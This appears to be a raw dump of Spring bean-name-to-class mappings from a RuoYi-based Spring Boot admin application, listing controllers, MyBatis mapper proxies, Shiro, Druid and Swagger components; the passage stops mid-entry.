"com.alibaba.druid.spring.boot.autoconfigure.stat.DruidWebStatFilterConfiguration" -> "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidWebStatFilterConfiguration" "sysNoticeServiceImpl" -> "com.ruoyi.system.service.impl.SysNoticeServiceImpl" "sysJobMapper" -> "com.sun.proxy.$Proxy302" "openApiParameterBuilder" -> "springfox.documentation.swagger.readers.parameter.OpenApiParameterBuilder" "sizePlugin" -> "springfox.bean.validators.plugins.schema.SizeAnnotationPlugin" "compatibilityModelMapperImpl" -> "springfox.documentation.swagger2.mappers.CompatibilityModelMapperImpl" "sysRoleController" -> "com.ruoyi.web.controller.system.SysRoleController$$EnhancerBySpringCGLIB$$b87157e9" "sysDeptController" -> "com.ruoyi.web.controller.system.SysDeptController$$EnhancerBySpringCGLIB$$48ac0e76" "operationDeprecatedReader" -> "springfox.documentation.spring.web.readers.operation.OperationDeprecatedReader" "sysLogininforController" -> "com.ruoyi.web.controller.monitor.SysLogininforController$$EnhancerBySpringCGLIB$$46005583" "swaggerOperationTagsReader" -> "springfox.documentation.swagger.readers.operation.SwaggerOperationTagsReader" "propertyDiscriminatorBasedInheritancePlugin" -> "springfox.documentation.schema.plugins.PropertyDiscriminatorBasedInheritancePlugin" "org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration" "patternPlugin" -> "springfox.bean.validators.plugins.schema.PatternAnnotationPlugin" "vendorExtensionsMapperImpl" -> "springfox.documentation.swagger2.mappers.VendorExtensionsMapperImpl" "com.github.pagehelper.autoconfigure.PageHelperAutoConfiguration" -> "com.github.pagehelper.autoconfigure.PageHelperAutoConfiguration$$EnhancerBySpringCGLIB$$6c913d94" "org.springframework.boot.autoconfigure.context.MessageSourceAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.MessageSourceAutoConfiguration" "sysLogininforMapper" -> "com.sun.proxy.$Proxy297" "sysUserOnlineServiceImpl" -> "com.ruoyi.system.service.impl.SysUserOnlineServiceImpl" "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafJava8TimeDialect" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafJava8TimeDialect" "messageSourceProperties" -> "org.springframework.boot.autoconfigure.context.MessageSourceProperties" "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter" "sysJobServiceImpl" -> "com.ruoyi.quartz.service.impl.SysJobServiceImpl$$EnhancerBySpringCGLIB$$2a2c6f2b" "buildController" -> "com.ruoyi.web.controller.tool.BuildController$$EnhancerBySpringCGLIB$$77185882" "sysDictTypeServiceImpl" -> "com.ruoyi.system.service.impl.SysDictTypeServiceImpl$$EnhancerBySpringCGLIB$$b691e526" "errorPageRegistrarBeanPostProcessor" -> "org.springframework.boot.web.server.ErrorPageRegistrarBeanPostProcessor" "mvcConversionService" -> "org.springframework.boot.autoconfigure.web.format.WebConversionService" "sysPostController" -> "com.ruoyi.web.controller.system.SysPostController$$EnhancerBySpringCGLIB$$a6283527" "org.springframework.boot.context.properties.BoundConfigurationProperties" -> "org.springframework.boot.context.properties.BoundConfigurationProperties" "mvcPathMatcher" -> "org.springframework.util.AntPathMatcher" "handlerExceptionResolver" -> "org.springframework.web.servlet.handler.HandlerExceptionResolverComposite" "basicErrorController" -> "org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController" "webMvcSwaggerTransformer" -> "springfox.documentation.swagger2.web.WebMvcBasePathAndHostnameTransformationFilter" "parameterDataTypeReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterDataTypeReader" "operationSummaryReader" -> "springfox.documentation.swagger.readers.operation.OperationSummaryReader" "webMvcRequestHandlerProvider" -> "springfox.documentation.spring.web.plugins.WebMvcRequestHandlerProvider" "documentationPluginsManager" -> "springfox.documentation.spring.web.plugins.DocumentationPluginsManager" "springfox.documentation.swagger2.configuration.Swagger2DocumentationConfiguration" -> "springfox.documentation.swagger2.configuration.Swagger2DocumentationConfiguration$$EnhancerBySpringCGLIB$$57862016" "spring.datasource-org.springframework.boot.autoconfigure.jdbc.DataSourceProperties" -> "org.springframework.boot.autoconfigure.jdbc.DataSourceProperties" "namedParameterJdbcTemplate" -> "org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate" "sysJobLogServiceImpl" -> "com.ruoyi.quartz.service.impl.SysJobLogServiceImpl" "sysProfileController" -> "com.ruoyi.web.controller.system.SysProfileController$$EnhancerBySpringCGLIB$$41f1e55f" "applicationConfig" -> "com.ruoyi.framework.config.ApplicationConfig$$EnhancerBySpringCGLIB$$f00c8169" "spring.web-org.springframework.boot.autoconfigure.web.WebProperties" -> "org.springframework.boot.autoconfigure.web.WebProperties" "org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration" -> "org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration" "openApiSchemaPropertyBuilder" -> "springfox.documentation.swagger.schema.OpenApiSchemaPropertyBuilder" "druidConfig" -> "com.ruoyi.framework.config.DruidConfig$$EnhancerBySpringCGLIB$$8d18361b" "mvcViewResolver" -> "org.springframework.web.servlet.view.ViewResolverComposite" "springfox.documentation.swagger.configuration.SwaggerCommonConfiguration" -> "springfox.documentation.swagger.configuration.SwaggerCommonConfiguration$$EnhancerBySpringCGLIB$$2cf8ac91" "mvcUriComponentsContributor" -> "org.springframework.web.method.support.CompositeUriComponentsContributor" "messageSource" -> "org.springframework.context.support.ResourceBundleMessageSource" "genController" -> "com.ruoyi.generator.controller.GenController$$EnhancerBySpringCGLIB$$afa987ba" "sysJobLogController" -> "com.ruoyi.quartz.controller.SysJobLogController$$EnhancerBySpringCGLIB$$5668d9f4" "operationParameterReader" -> "springfox.documentation.spring.web.readers.operation.OperationParameterReader" "springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration" -> "springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration$$EnhancerBySpringCGLIB$$ba979319" "documentationPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "taskExecutorBuilder" -> "org.springframework.boot.task.TaskExecutorBuilder" "org.springframework.boot.autoconfigure.jdbc.JdbcTemplateConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.JdbcTemplateConfiguration" "templateEngine" -> "org.thymeleaf.spring5.SpringTemplateEngine" "platformTransactionManagerCustomizers" -> "org.springframework.boot.autoconfigure.transaction.TransactionManagerCustomizers" "springfox.boot.starter.autoconfigure.OpenApiAutoConfiguration" -> "springfox.boot.starter.autoconfigure.OpenApiAutoConfiguration$$EnhancerBySpringCGLIB$$9866c7b1" "contentParameterAggregator" -> "springfox.documentation.spring.web.readers.operation.ContentParameterAggregator" "defaultServletHandlerMapping" -> "org.springframework.beans.factory.support.NullBean" "globalExceptionHandler" -> "com.ruoyi.framework.web.exception.GlobalExceptionHandler" "persistenceExceptionTranslationPostProcessor" -> "org.springframework.dao.annotation.PersistenceExceptionTranslationPostProcessor" "resourceGroupCache" -> "springfox.documentation.spring.web.DocumentationCache" "characterEncodingFilter" -> "org.springframework.boot.web.servlet.filter.OrderedCharacterEncodingFilter" "sessionDAO" -> "com.ruoyi.framework.shiro.session.OnlineSessionDAO" "sameUrlDataInterceptor" -> "com.ruoyi.framework.interceptor.impl.SameUrlDataInterceptor" "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration" "preserveErrorControllerTargetClassPostProcessor" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$PreserveErrorControllerTargetClassPostProcessor" "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration" "sysNoticeMapper" -> "com.sun.proxy.$Proxy301" "propertySourcesPlaceholderConfigurer" -> "org.springframework.context.support.PropertySourcesPlaceholderConfigurer" "genTableMapper" -> "com.sun.proxy.$Proxy304" "parameterSize" -> "springfox.bean.validators.plugins.parameter.SizeAnnotationPlugin" "ruoYiApplication" -> "com.ruoyi.RuoYiApplication$$EnhancerBySpringCGLIB$$93c82727" "spring.datasource.druid-com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties" -> "com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties" "serverConfig" -> "com.ruoyi.common.config.ServerConfig" "documentationPluginsBootstrapper" -> "springfox.documentation.spring.web.plugins.DocumentationPluginsBootstrapper" "methodValidationPostProcessor" -> "org.springframework.boot.validation.beanvalidation.FilteredMethodValidationPostProcessor" "stringHttpMessageConverter" -> "org.springframework.http.converter.StringHttpMessageConverter" "org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration" -> "org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration" "jsonComponentModule" -> "org.springframework.boot.jackson.JsonComponentModule" "syntheticModelProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "swaggerConfig" -> "com.ruoyi.web.core.config.SwaggerConfig$$EnhancerBySpringCGLIB$$2389560a" "demoFormController" -> "com.ruoyi.web.controller.demo.controller.DemoFormController" "org.springframework.context.event.internalEventListenerFactory" -> "org.springframework.context.event.DefaultEventListenerFactory" "scheduledBeanLazyInitializationExcludeFilter" -> "org.springframework.boot.autoconfigure.task.ScheduledBeanLazyInitializationExcludeFilter" "org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration" "mappingJackson2HttpMessageConverter" -> "org.springframework.http.converter.json.MappingJackson2HttpMessageConverter" "modelPropertyBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "spring.h2.console-org.springframework.boot.autoconfigure.h2.H2ConsoleProperties" -> "org.springframework.boot.autoconfigure.h2.H2ConsoleProperties" "springfox.documentation.spring.web.SpringfoxWebMvcConfiguration" -> "springfox.documentation.spring.web.SpringfoxWebMvcConfiguration$$EnhancerBySpringCGLIB$$643c661d" "vendorExtensionsReader" -> "springfox.documentation.swagger.readers.operation.VendorExtensionsReader" "expandedParameterBuilder" -> "springfox.documentation.spring.web.readers.parameter.ExpandedParameterBuilder" "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$DefaultTemplateResolverConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$DefaultTemplateResolverConfiguration" "typeResolver" -> "com.fasterxml.classmate.TypeResolver" "createRestApi" -> "springfox.documentation.spring.web.plugins.Docket" "defaultOperationReader" -> "springfox.documentation.spring.web.readers.operation.DefaultOperationReader" "statViewServletRegistrationBean" -> "org.springframework.boot.web.servlet.ServletRegistrationBean" "openApiControllerWebMvc" -> "springfox.documentation.oas.web.OpenApiControllerWebMvc" "responseMessagesReader" -> "springfox.documentation.spring.web.readers.operation.ResponseMessagesReader" "servletWebServerFactoryCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryCustomizer" "mvcUrlPathHelper" -> "org.springframework.web.util.UrlPathHelper" "transactionTemplate" -> "org.springframework.transaction.support.TransactionTemplate" "factoryMethodProvider" -> "springfox.documentation.schema.property.FactoryMethodProvider" "sysMenuController" -> "com.ruoyi.web.controller.system.SysMenuController$$EnhancerBySpringCGLIB$$dc837a84" "oasSecurityMapperImpl" -> "springfox.documentation.oas.mappers.OasSecurityMapperImpl" "org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration" -> "org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration" "dataSourceAspect" -> "com.ruoyi.framework.aspectj.DataSourceAspect" "com.ruoyi.framework.config.ApplicationConfig#MapperScannerRegistrar#0" -> "org.mybatis.spring.mapper.MapperScannerConfigurer" "mybatis-org.mybatis.spring.boot.autoconfigure.MybatisProperties" -> "org.mybatis.spring.boot.autoconfigure.MybatisProperties" "swaggerParameterDescriptionReader" -> "springfox.documentation.swagger.readers.parameter.ApiParamParameterBuilder" "threadPoolConfig" -> "com.ruoyi.common.config.thread.ThreadPoolConfig$$EnhancerBySpringCGLIB$$e1d985b8" "spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties" -> "org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties" "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration" "org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration" -> "org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration" "optionalLiveReloadServer" -> "org.springframework.boot.devtools.autoconfigure.OptionalLiveReloadServer" "demoTableController" -> "com.ruoyi.web.controller.demo.controller.DemoTableController" "openApiOperationAuthReader" -> "springfox.documentation.swagger.readers.operation.OpenApiOperationAuthReader" "standardJacksonObjectMapperBuilderCustomizer" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration$StandardJackson2ObjectMapperBuilderCustomizer" "springfox.documentation.schema.configuration.ModelsConfiguration" -> "springfox.documentation.schema.configuration.ModelsConfiguration$$EnhancerBySpringCGLIB$$f698197b" "taskSchedulerBuilder" -> "org.springframework.boot.task.TaskSchedulerBuilder" "openApiResponseReader" -> "springfox.documentation.swagger.readers.operation.OpenApiResponseReader" "org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration" -> "org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration" "springfox.documentation.spring.web.SpringfoxWebConfiguration" -> "springfox.documentation.spring.web.SpringfoxWebConfiguration$$EnhancerBySpringCGLIB$$2fb0e29d" "jacksonEnumTypeDeterminer" -> "springfox.documentation.schema.JacksonEnumTypeDeterminer" "localeChangeInterceptor" -> "org.springframework.web.servlet.i18n.LocaleChangeInterceptor" "captchaProducerMath" -> "com.google.code.kaptcha.impl.DefaultKaptcha" "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration" "sysShiroService" -> "com.ruoyi.framework.shiro.service.SysShiroService" "transactionInterceptor" -> "org.springframework.transaction.interceptor.TransactionInterceptor" "swaggerExpandedParameterBuilder" -> "springfox.documentation.swagger.readers.parameter.SwaggerExpandedParameterBuilder" "shiroFilterFactoryBean" -> "com.ruoyi.framework.shiro.web.CustomShiroFilterFactoryBean$MySpringShiroFilter" "spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties" "sysUserRoleMapper" -> "com.sun.proxy.$Proxy287" "inMemorySwaggerResourcesProvider" -> "springfox.documentation.swagger.web.InMemorySwaggerResourcesProvider" "multipartConfigElement" -> "javax.servlet.MultipartConfigElement" "parameterBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "requestContextFilter" -> "org.springframework.boot.web.servlet.filter.OrderedRequestContextFilter" "webMvcObjectMapperConfigurer" -> "springfox.documentation.spring.web.WebMvcObjectMapperConfigurer" "testController" -> "com.ruoyi.web.controller.tool.TestController" "sysPasswordService" -> "com.ruoyi.framework.shiro.service.SysPasswordService" "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidStatViewServletConfiguration" -> "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidStatViewServletConfiguration" "apiListingBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "masterDataSource" -> "com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceWrapper" "jsonSerializer" -> "springfox.documentation.spring.web.json.JsonSerializer" "dataScopeAspect" -> "com.ruoyi.framework.aspectj.DataScopeAspect" "restTemplateBuilder" -> "org.springframework.boot.web.client.RestTemplateBuilder" "localeResolver" -> "org.springframework.web.servlet.i18n.SessionLocaleResolver" "handlerFunctionAdapter" -> "org.springframework.web.servlet.function.support.HandlerFunctionAdapter" "shutdownManager" -> "com.ruoyi.framework.manager.ShutdownManager" "org.springframework.boot.autoconfigure.jdbc.NamedParameterJdbcTemplateConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.NamedParameterJdbcTemplateConfiguration" "spring.transaction-org.springframework.boot.autoconfigure.transaction.TransactionProperties" -> "org.springframework.boot.autoconfigure.transaction.TransactionProperties" "classPathFileSystemWatcher" -> "org.springframework.boot.devtools.classpath.ClassPathFileSystemWatcher" "org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration" "org.springframework.boot.autoconfigure.validation.ValidationAutoConfiguration" -> "org.springframework.boot.autoconfigure.validation.ValidationAutoConfiguration" "sysOperLogServiceImpl" -> "com.ruoyi.system.service.impl.SysOperLogServiceImpl" "springApplicationAdminRegistrar" -> "org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar" "welcomePageNotAcceptableHandlerMapping" -> "org.springframework.boot.autoconfigure.web.servlet.WelcomePageNotAcceptableHandlerMapping" "pathSanitizer" -> "springfox.documentation.spring.web.paths.PathSanitizer" "spring.resources-org.springframework.boot.autoconfigure.web.ResourceProperties" -> "org.springframework.boot.autoconfigure.web.ResourceProperties" "requestParameterMapperImpl" -> "springfox.documentation.swagger2.mappers.RequestParameterMapperImpl" "captchaProducer" -> "com.google.code.kaptcha.impl.DefaultKaptcha" "typeNameExtractor" -> "springfox.documentation.schema.TypeNameExtractor" "oasLicenceMapper" -> "springfox.documentation.oas.mappers.OasLicenceMapper" "webStatFilterRegistrationBean" -> "org.springframework.boot.web.servlet.FilterRegistrationBean" "springUtils" -> "com.ruoyi.common.utils.spring.SpringUtils" "apiListingScanner" -> "springfox.documentation.spring.web.scanners.ApiListingScanner" "operationModelsProvider" -> "springfox.documentation.spring.web.readers.operation.OperationModelsProvider" "operationImplicitParameterReader" -> "springfox.documentation.swagger.readers.operation.OperationImplicitParameterReader" "apiModelPropertyPropertyBuilder" -> "springfox.documentation.swagger.schema.ApiModelPropertyPropertyBuilder" "swaggerMediaTypeReader" -> "springfox.documentation.swagger.readers.operation.SwaggerMediaTypeReader" "apiModelReader" -> "springfox.documentation.spring.web.scanners.ApiModelReader" "mvcContentNegotiationManager" -> "org.springframework.web.accept.ContentNegotiationManager" "objectNamingStrategy" -> "org.springframework.boot.autoconfigure.jmx.ParentAwareNamingStrategy" "conditionEvaluationDeltaLoggingListener" -> "org.springframework.boot.devtools.autoconfigure.ConditionEvaluationDeltaLoggingListener" "org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration" -> "org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration" "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration" "parameterNotNull" -> "springfox.bean.validators.plugins.parameter.NotNullAnnotationPlugin" "httpRequestHandlerAdapter" -> "org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter" "modelSpecificationMapperImpl" -> "springfox.documentation.swagger2.mappers.ModelSpecificationMapperImpl" "notBlankPlugin" -> "springfox.bean.validators.plugins.schema.NotBlankAnnotationPlugin" "druidProperties" -> "com.ruoyi.framework.config.properties.DruidProperties$$EnhancerBySpringCGLIB$$7f55fe2b" "userRealm" -> "com.ruoyi.framework.shiro.realm.UserRealm" "sysUserController" -> "com.ruoyi.web.controller.system.SysUserController$$EnhancerBySpringCGLIB$$2273bc48" "spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties" -> "org.springframework.boot.autoconfigure.web.servlet.MultipartProperties" "demoIconController" -> "com.ruoyi.web.controller.demo.controller.DemoIconController" "org.springframework.context.annotation.internalCommonAnnotationProcessor" -> "org.springframework.context.annotation.CommonAnnotationBeanPostProcessor" "sysDeptServiceImpl" -> "com.ruoyi.system.service.impl.SysDeptServiceImpl$$EnhancerBySpringCGLIB$$7daf1de0" "operationPositionReader" -> "springfox.documentation.swagger.readers.operation.OperationPositionReader" "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration" "resourceHandlerMapping" -> "org.springframework.web.servlet.handler.SimpleUrlHandlerMapping" "simpleControllerHandlerAdapter" -> "org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration" "i18nConfig" -> "com.ruoyi.framework.config.I18nConfig$$EnhancerBySpringCGLIB$$76ead511" "jacksonJsonViewProvider" -> "springfox.documentation.schema.JacksonJsonViewProvider" "sysRoleServiceImpl" -> "com.ruoyi.system.service.impl.SysRoleServiceImpl$$EnhancerBySpringCGLIB$$69302cd" "demoReportController" -> "com.ruoyi.web.controller.demo.controller.DemoReportController" "sysUserPostMapper" -> "com.sun.proxy.$Proxy291" "spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties" -> "org.springframework.boot.autoconfigure.context.LifecycleProperties" "modelNamesRegistryFactoryPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "demoDialogController" -> "com.ruoyi.web.controller.demo.controller.DemoDialogController" "sysRoleMenuMapper" -> "com.sun.proxy.$Proxy284" "defaultModelSpecificationProvider" -> "springfox.documentation.schema.DefaultModelSpecificationProvider" "scheduledExecutorService" -> "com.ruoyi.common.config.thread.ThreadPoolConfig$1" "pagehelper-com.github.pagehelper.autoconfigure.PageHelperProperties" -> "com.github.pagehelper.autoconfigure.PageHelperProperties" "java8TimeDialect" -> "org.thymeleaf.extras.java8time.dialect.Java8TimeDialect" "org.springframework.transaction.config.internalTransactionAdvisor" -> "org.springframework.transaction.interceptor.BeanFactoryTransactionAttributeSourceAdvisor" "sysConfigController" -> "com.ruoyi.web.controller.system.SysConfigController$$EnhancerBySpringCGLIB$$23ad098d" "parameterNamesModule" -> "com.fasterxml.jackson.module.paramnames.ParameterNamesModule" "myBatisConfig" -> "com.ruoyi.framework.config.MyBatisConfig$$EnhancerBySpringCGLIB$$afd6e26c" "examplesMapperImpl" -> "springfox.documentation.oas.mappers.ExamplesMapperImpl" "operationAuthReader" -> "springfox.documentation.swagger.readers.operation.OperationAuthReader" "authorizationAttributeSourceAdvisor" -> "org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor" "operationImplicitParametersReader" -> "springfox.documentation.swagger.readers.operation.OperationImplicitParametersReader" "webMvcSwaggerTransformationFilterRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "sysPostMapper" -> "com.sun.proxy.$Proxy290" "securityMapperImpl" -> "springfox.documentation.swagger2.mappers.SecurityMapperImpl" "org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration" "apiModelBuilder" -> "springfox.documentation.swagger.schema.ApiModelBuilder" "pathProvider" -> "springfox.documentation.spring.web.paths.DefaultPathProvider" "genTableColumnMapper" -> "com.sun.proxy.$Proxy305" "permissionsAspect" -> "com.ruoyi.framework.aspectj.PermissionsAspect" "sysDeptMapper" -> "com.sun.proxy.$Proxy293" "restTemplateBuilderConfigurer" -> "org.springframework.boot.autoconfigure.web.client.RestTemplateBuilderConfigurer" "filterConfig" -> "com.ruoyi.framework.config.FilterConfig$$EnhancerBySpringCGLIB$$a602d8eb" "parameterTypeReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterTypeReader" "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration" "springfox.documentation-springfox.boot.starter.autoconfigure.SpringfoxConfigurationProperties" -> "springfox.boot.starter.autoconfigure.SpringfoxConfigurationProperties" "swaggerOperationResponseClassReader" -> "springfox.documentation.swagger.readers.operation.SwaggerOperationResponseClassReader" "org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration" -> "org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration" "org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration" -> "org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration" "sessionManager" -> "com.ruoyi.framework.shiro.web.session.OnlineWebSessionManager" "xmlPropertyPlugin" -> "springfox.documentation.schema.property.XmlPropertyPlugin" "spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties" -> "org.springframework.boot.autoconfigure.task.TaskExecutionProperties" "viewControllerHandlerMapping" -> "org.springframework.web.servlet.handler.SimpleUrlHandlerMapping" "typeNameProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "themeResolver" -> "org.springframework.web.servlet.theme.FixedThemeResolver" "mvcPatternParser" -> "org.springframework.web.util.pattern.PathPatternParser" "isNullPlugin" -> "springfox.bean.validators.plugins.schema.IsNullAnnotationPlugin" "org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor" -> "org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor" "dispatcherServlet" -> "org.springframework.web.servlet.DispatcherServlet" "classPathRestartStrategy" -> "org.springframework.boot.devtools.classpath.PatternClassPathRestartStrategy" "dictUtils" -> "com.ruoyi.common.utils.DictUtils" "springfox.documentation.swagger2.configuration.Swagger2WebMvcConfiguration" -> "springfox.documentation.swagger2.configuration.Swagger2WebMvcConfiguration$$EnhancerBySpringCGLIB$$6a2d385e" "apiDescriptionReader" -> "springfox.documentation.spring.web.scanners.ApiDescriptionReader" "swaggerOperationModelsProvider" -> "springfox.documentation.swagger.readers.operation.SwaggerOperationModelsProvider" "resourcesConfig" -> "com.ruoyi.framework.config.ResourcesConfig$$EnhancerBySpringCGLIB$$90e7a4de" "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration" "spring.devtools-org.springframework.boot.devtools.autoconfigure.DevToolsProperties" -> "org.springframework.boot.devtools.autoconfigure.DevToolsProperties" "org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor" -> "org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor" "pagehelper-com.github.pagehelper.autoconfigure.PageHelperStandardProperties" -> "com.github.pagehelper.autoconfigure.PageHelperStandardProperties" "sysRoleMapper" -> "com.sun.proxy.$Proxy286" "apiResourceController" -> "springfox.documentation.swagger.web.ApiResourceController" "spring.jdbc-org.springframework.boot.autoconfigure.jdbc.JdbcProperties" -> "org.springframework.boot.autoconfigure.jdbc.JdbcProperties" "cachingOperationReader" -> "springfox.documentation.spring.web.scanners.CachingOperationReader" "swaggerResponseMessageReader" -> "springfox.documentation.swagger.readers.operation.SwaggerResponseMessageReader" "transactionAttributeSource" -> "org.springframework.transaction.annotation.AnnotationTransactionAttributeSource" "defaultModelDependencyProvider" -> "springfox.documentation.schema.DefaultModelDependencyProvider" "dict" -> "com.ruoyi.framework.web.service.DictService" "transactionManager" -> "org.springframework.jdbc.support.JdbcTransactionManager" "errorPageCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$ErrorPageCustomizer" "apiOperationReader" -> "springfox.documentation.spring.web.readers.operation.ApiOperationReader" "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration" "sysRegisterController" -> "com.ruoyi.web.controller.system.SysRegisterController" "tomcatWebServerFactoryCustomizer" -> "org.springframework.boot.autoconfigure.web.embedded.TomcatWebServerFactoryCustomizer" "sysDictDataServiceImpl" -> "com.ruoyi.system.service.impl.SysDictDataServiceImpl" "operationModelsProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "openApiModule" -> "springfox.documentation.oas.configuration.OpenApiJacksonModule" "viewNameTranslator" -> "org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator" "org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration" -> "org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration" "sysJobLogMapper" -> "com.sun.proxy.$Proxy303" "mediaTypeReader" -> "springfox.documentation.spring.web.scanners.MediaTypeReader" "operationResponseClassReader" -> "springfox.documentation.spring.web.readers.operation.OperationResponseClassReader" "swagger2ControllerWebMvc" -> "springfox.documentation.swagger2.web.Swagger2ControllerWebMvc" "cachingOperationNameGenerator" -> "springfox.documentation.spring.web.readers.operation.CachingOperationNameGenerator" "demoOperateController" -> 